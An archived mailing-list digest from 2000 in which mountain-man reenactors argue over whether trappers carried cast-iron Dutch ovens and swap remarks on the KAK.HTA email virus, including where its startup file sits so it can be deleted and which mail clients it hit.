> >> >> >Rendezvous to portray Stewart.
> >> >> >
> >> >> >I cook with stuff as simple as possible.  That means with sticks
over
> >the
> >> >> >fire, a small tin boiler and maybe a small folding steel frying
pan.
> >I
> >> >also
> >> >> >bring as little as possible.  I've learned that less is more and my
ho
> >rse
> >> >> >agrees.
> >> >> >
> >> >> >Just my 2 cents.
> >> >> >
> >> >> >Best Regards,
> >> >> >
> >> >> >Jerry (Meriwether) Zaslow #1488
> >> >>
> >>
>
>>>_________________________________________________________________________
_
> >_
> >> >_____
> >> >> >
> >> >> >
> >> >> >>No Sir,
> >> >> >>
> >> >> >>The facts have already been established once and for all by the
Fort
> >> >Union
> >> >> >>Trading Post.  Cast iron artifacts of both types were present in
the
> >> >> >>mountain man period.
> >> >> >>Walt
> >> >> >>Park City, Montana
> >> >> >>
> >> >> >>
> >> >> >>
> >> >> >>> You guys aren't really serious about starting round
> >> >> >>> two of the dutch oven debacle, are you???
> >> >> >>>
> >> >> >>> Tom
> >> >> >>
> >> >> >>
> >> >> >>
> >> >> >>----------------------
> >> >> >>hist_text list info:
> >http://www.xmission.com/~drudy/mtman/maillist.html
> >> >> >>
> >> >> >
> >> >> >
> >> >> >----------------------
> >> >> >hist_text list info:
> >http://www.xmission.com/~drudy/mtman/maillist.html
> >> >> >
> >> >>
> >> >> ----------------------
> >> >> hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >> >>
> >> >
> >> >
> >> >
> >> >----------------------
> >> >hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >> >
> >>
> >> ----------------------
> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >>
> >
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Virus
Date: 31 May 2000 14:30:49 -0700

<color><param>0100,0100,0100</param>On 31 May 00, at 11:08, [e-mail] wrote:

<color><param>7F00,0000,0000</param>> TDS set on automatic, and it caught and killed it before I was even aware it

> had been sent.   Also, was it a link included in the mail, or an attachment

> that had to be downloaded or what?      Thanks.  Barney


</color>Another MS integrated product problem. I use a non-MS mail reader, and
did not have any such problems with scripts infecting me.

<smaller>I didn't even notice them, and would have not been aware there was a problem if
not for the warnings on the list.


Try http://www.pegasus.usa.com/

for a good non-MS mailer.



<nofill>
Kristopher K. Barrett

----------------------
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-------------------------------------------------------------------------------

From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Re:Virus
Date: 31 May 2000 17:14:43 -0500

--=====================_81528906==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

On my current email machine, I'm running Win98, Norton & Eudora.  I haven't
seen the first sign of the virus you folks are talking about.  I have kept
my virus definition files fairly up-to-date.  My Norton logs don't indicate
it ever entered my systems.  I can find nor see any trace of it.

I have noted all (except Darla) who have it  -- seem to be running MS
Outlook Express 5.0 as their mail client.  Maybe this is another present
from Mr. Bill?  Ohhh, thanks again Mr. Bill!

Any wonder why I'm switching to Linux as we speak?

John...


At 09:08 AM 5/31/00 -0400, you wrote:
>The name of the Virus being passed on the list is "KAK".
>  It's not too bad, but can be an annoyance.  Look on
>your C drive.  If you have a file called
>C/Windows\Start Menu\Programs\Startup\kak.hta, delete
>it.  That will take care of your system problems, but
>I'm not too sure how to keep in from spreading.
>(Lanney, you definitely have it -- it's at the end of
>your most recent message)
>
>Darla Sublette
>List Lurker, Geek, and
>Mountain-person wanna-be (gotta be, with this name)
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

___________________________________
If Microsoft was plumbing -- it wouldn't pass code.



--=====================_81528906==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>On my current email machine, I'm running Win98, Norton &
Eudora.  I haven't seen the first sign of the virus you folks are
talking about.  I have kept my virus definition files fairly
up-to-date.  My Norton logs don't indicate it ever entered my
systems.  I can find nor see any trace of it.<br>
<br>
I have noted all (except Darla) who have it  -- seem to be running
MS Outlook Express 5.0 as their mail client.  Maybe this is another
present from Mr. Bill?  Ohhh, thanks again Mr. Bill!  <br>
<br>
Any wonder why I'm switching to Linux as we speak?   <br>
<br>
John...<br>
<br>
<br>
At 09:08 AM 5/31/00 -0400, you wrote:<br>
<blockquote type=cite cite>The name of the Virus being passed on the list
is "KAK". <br>
 It's not too bad, but can be an annoyance.  Look on <br>
your C drive.  If you have a file called<br>
C/Windows\Start Menu\Programs\Startup\kak.hta, delete <br>
it.  That will take care of your system problems, but <br>
I'm not too sure how to keep in from spreading.  <br>
(Lanney, you definitely have it -- it's at the end of <br>
your most recent message)<br>
<br>
Darla Sublette<br>
List Lurker, Geek, and <br>
Mountain-person wanna-be (gotta be, with this name)<br>
<br>
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<div>___________________________________</div>
<div>If Microsoft was plumbing -- it wouldn't pass code.</div>
<br>
<br>
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From: "Addison Miller" <[e-mail]>
Subject: Re: MtMan-List: Re:Virus
Date: 31 May 2000 18:50:08 -0400

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

  You are right... the KAK.HTA virus seems to be written for MS Emailers =
only...=20

  Ad Miller



  On my current email machine, I'm running Win98, Norton & Eudora.  I =
haven't seen the first sign of the virus you folks are talking about.  I =
have kept my virus definition files fairly up-to-date.  My Norton logs =
don't indicate it ever entered my systems.  I can find nor see any trace =
of it.

  I have noted all (except Darla) who have it  -- seem to be running MS =
Outlook Express 5.0 as their mail client.  Maybe this is another present =
from Mr. Bill?  Ohhh, thanks again Mr. Bill! =20

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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV><FONT face=3DArial size=3D2>You are right... the KAK.HTA virus =
seems to be=20
  written for MS Emailers only... </FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DArial size=3D2>Ad Miller</FONT></DIV>
  <DIV> </DIV>
  <DIV> </DIV>
  <DIV> </DIV>
  <DIV><FONT size=3D3>On my current email machine, I'm running Win98, =
Norton &=20
  Eudora.  I haven't seen the first sign of the virus you folks are =
talking=20
  about.  I have kept my virus definition files fairly =
up-to-date.  My=20
  Norton logs don't indicate it ever entered my systems.  I can =
find nor=20
  see any trace of it.<BR><BR>I have noted all (except Darla) who have =
it =20
  -- seem to be running MS Outlook Express 5.0 as their mail =
client.  Maybe=20
  this is another present from Mr. Bill?  Ohhh, thanks again Mr.=20
  Bill!  </FONT><FONT =
size=3D3></DIV></FONT></BLOCKQUOTE></BODY></HTML>

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From: [e-mail]
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 31 May 2000 20:05:50 EDT

One Question way don't any of these Dutch Ovens show up on any trade lists?
Who in there right mind would trade for a heavy cast iron pot when a tin,
copper or sheet metal pot would do the same job? I can't remember herrin of
or reading of any Indians having a Dutch Oven cook off. Just because you want
it to be, does not make it so. Maybe in a fort, but out in the mountains I
think not.
                                       Coverin ground and packin light
                                         Crazy Cyot

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From: "Fred A. Miller" <[e-mail]>
Subject: Re: MtMan-List: Re:Virus
Date: 31 May 2000 21:03:50 -0400

John Kramer wrote:
>
> On my current email machine, I'm running Win98, Norton & Eudora.  I
> haven't seen the first sign of the virus you folks are talking about.
> I have kept my virus definition files fairly up-to-date.  My Norton
> logs don't indicate it ever entered my systems.  I can find nor see
> any trace of it.
>
> I have noted all (except Darla) who have it  -- seem to be running MS
> Outlook Express 5.0 as their mail client.  Maybe this is another
> present from Mr. Bill?  Ohhh, thanks again Mr. Bill!
>
> Any wonder why I'm switching to Linux as we speak?

[snip]

Quite right! ANYTHING from MickySoft is full of gaping holes. 'Bad
design followed by bad code. Linux can be broken into, but IF you take
proper measures to secure it, you'll be fine, and you'll find out for
the first time what "stable" means. :) SuSE has the best distribution,
IMHO, and is not only my choice for here at home, but for my dept. at
Cornell Univ., where I'm a Systems Admin. If you have any questions,
contact me off list.

Best,

Fred

--
It said "Needs Windows 98 or better". So I installed Linux...

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 31 May 2000 21:04:19 -0600

Crazy,
Packing a cannon, lead powder keg's, kegs of grain alcohol, glass bead's is
far from light.
The way we use horses and mules to day is light, the way they used them back
then was "hauling freight" (Teamster's) Etc. I will repeat what I said a
long time ago, I would not bring a "Dutch Oven on a primitive horse trip
today". Now think of this, if there is evidence of cast Iron pots at Bent's
fort, Fort Union, Astoria, and there were but a handfull of white women, Who
cooked in those pots? The trapers? or was in Indian women?. As it was then
it is now, it may not be practical but I have seen many women that have to
keep up with there neighbor. As for trade lists I don't know but more
information comes forword every year.
Your Humble Servant.
Ole #718
----------
>From: [e-mail]
>To: [e-mail]
>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>Date: Wed, May 31, 2000, 6:05 PM
>

>One Question way don't any of these Dutch Ovens show up on any trade lists?
>Who in there right mind would trade for a heavy cast iron pot when a tin,
>copper or sheet metal pot would do the same job? I can't remember herrin of
>or reading of any Indians having a Dutch Oven cook off. Just because you want
>it to be, does not make it so. Maybe in a fort, but out in the mountains I
>think not.
>                                       Coverin ground and packin light
>                                         Crazy Cyot
>
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>

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From: [e-mail]
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 31 May 2000 23:27:39 EDT



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From: [e-mail]
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 01 Jun 2000 00:00:34 EDT

Sorry about that, it got plum away before I even got started. Ole my Friend
you talked of a trader so lets look at it from a traders point of view.
Besides buying the goods in St. Louis the biggest expanse he had was getting
his goods to the Mountains. Weight meant money why would you take a few cast
iron pots when for the same amount of weight you could take a hole lot of
lighter weight pots and have more trade goods to sale. There for making more
off your trade goods. The Indian women had to do all the packing and what
advantage did the cast Iron pot offer her for type of cooking she did? I
don't think a trader could take fast enough to talk her in to one my self.
                                        Crazy Cyot

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